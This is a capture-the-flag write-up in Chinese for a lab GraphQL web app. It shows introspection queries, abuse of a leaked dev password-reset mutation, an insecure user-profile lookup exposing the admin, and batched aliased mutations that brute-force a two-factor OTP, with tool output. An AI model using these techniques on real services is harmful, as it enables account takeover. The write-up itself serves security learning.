題目敘述

Speednet is an ISP platform. Join our bug bounty to find vulnerabilities and retrieve the hidden flag. Test using the email service at http://IP:PORT/emails/ with address test@email.htb

Recon

逛網站

和其它 Challenges 一樣,有分主要服務以及 Mail:

點 Start Free Trial 會跳轉到 Login,Login 有 Forgot your password 可選:

在 Register 用 test@email.htb 註冊:

註冊以後會直接登入,進去以後看到有個 Two-Factor Authentication:

打開以後登出重新登入,就會需要我們去 email 收 OTP,每次時效五分鐘,可以一直 Resend:

點選 Forgot Password 會要求我們輸入電子信箱,輸入以後會送重置碼到我們的信箱內:

目測是用 uuid4 生成的,要爆破不太可能。

搜查更多資訊

這時我回去 Caido 看剛剛的互動過程,發現用的是 GraphQL

graphw00f 初步枚舉,發現 Introspection 是開的:

$ python3 main.py -d -f -t http://154.57.164.82:30469/graphql
{'User-Agent': 'graphw00f'}
...<SNIP>...
[*] Checking http://154.57.164.82:30469/graphql
[!] Found GraphQL at http://154.57.164.82:30469/graphql
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Apollo)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/apollo.md
[!] Technologies: JavaScript, Node.js, TypeScript
[!] Homepage: https://www.apollographql.com
[*] Completed.

Attack Surface Matrix:

Introspection 能夠讓我們查詢 GraphQL API,可以藉此取得 API schema 支援的所有 query。

GraphQL

那接下來就是一直玩 Introspection,看能不能挖到什麼東西,詳細可以看我的 GraphQL 筆記,總之和一般資料庫枚舉一樣,會先看它資料庫的 Schema:

query={__schema{types{name,fields{name}}}}

繞過忘記密碼

稍微看一下回傳結果,很快就會某個很特別的 devForgotPassword

}, {
    "name": "Mutation",
    "fields": [{
// ...<SNIP>...
    }, {
        "name": "forgotPassword"
    }, {
        "name": "devForgotPassword"
    }, {
// ...<SNIP>...
    }]
}, {

進一步查詢 Mutation 相關的參數和回傳型別:

{"query":"{__type(name:\"Mutation\"){fields{name description args{name description type{kind name ofType{kind name}} defaultValue} type{kind name ofType{kind name}}}}}"}

{
    "name": "devForgotPassword",
    "description": null,
    "args": [{
        "name": "email",
        "description": null,
        "type": {
            "kind": "NON_NULL",
            "name": null,
            "ofType": {
                "kind": "SCALAR",
                "name": "String"
            }
        },
        "defaultValue": null
    }],
    "type": {
        "kind": "SCALAR",
        "name": "String",
        "ofType": null
    }
}
 

email 放入 test@email.htb,還真就拿到對應的 reset token 了:

在看 HTTP History 的時候有看到一個 GetUpserProfile query,直接拿來用,把 userId 改成 1 就能看到管理員的帳號了,也能看到管理員有開 twoFactorAuth

送出 admin@speednet.htb 的忘記密碼 mutation:

跳轉到 http://154.57.164.82:30469/reset-password?token=adf01fd2-f80f-4038-b934-94a2b69687f6 就可以重置密碼了。

繞過二階段驗證

從 HTTP History 翻找了先前 VeryfyTwoFactor 的邏輯,發現需要的 token 貌似也是 uuid4 做成的:

admin@speednet.htb 隨便送一個 otp 就可以拿到 token 了:

GraphQL 有個批次處理功能,讓我們在單個請求就可以包著很多組不同的查詢,利用這個功能就可以突破諸多限制,完成快速暴力破解。根據先前的調查結果看到網站確實有啟用 Batch Requests:

所以原本要這樣一次一組的東西:

mutation VerifyTwoFactor($token: String!, $otp: String!) {
  verifyTwoFactor(token: $token, otp: $otp) { token }
}

就可以一次 1000 組爆破:

mutation{
  a0:verifyTwoFactor(token:"...",otp:"0000"){token}
  a1:verifyTwoFactor(token:"...",otp:"0001"){token}
  ...
  a999:verifyTwoFactor(token:"...",otp:"0999"){token}
}

照著這個思路寫個腳本不斷爆破 /graph 即可:

要注意一次不要包太多請求,會碰到 request size limit。

$ ./otp_brute.py http://154.57.164.82:30469/graphql "4f6836bc-9e46-4a64-9651-77590bfa4baf"
[0000-0999] 0 hit(s)
[1000-1999] 0 hit(s)
[2000-2999] 0 hit(s)
[3000-3999] 0 hit(s)
[4000-4999] 0 hit(s)
[5000-5999] 0 hit(s)
[6000-6999] 0 hit(s)
[7000-7999] 0 hit(s)
[8000-8999] 1 hit(s)
  otp=8627 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsImlhdCI6MTc4OTUzNDM4OCwiZXhwIjoxNzg5NTM3OTg4fQ._FfLSpX6_IQsHqCYtjd_IsBx1olRY4H8E-C04zGX33E

把 Local Storage 的 token 替換掉即可成功登入 admin@speednet.htb,接著去 Billing 就可以看到 flag 了: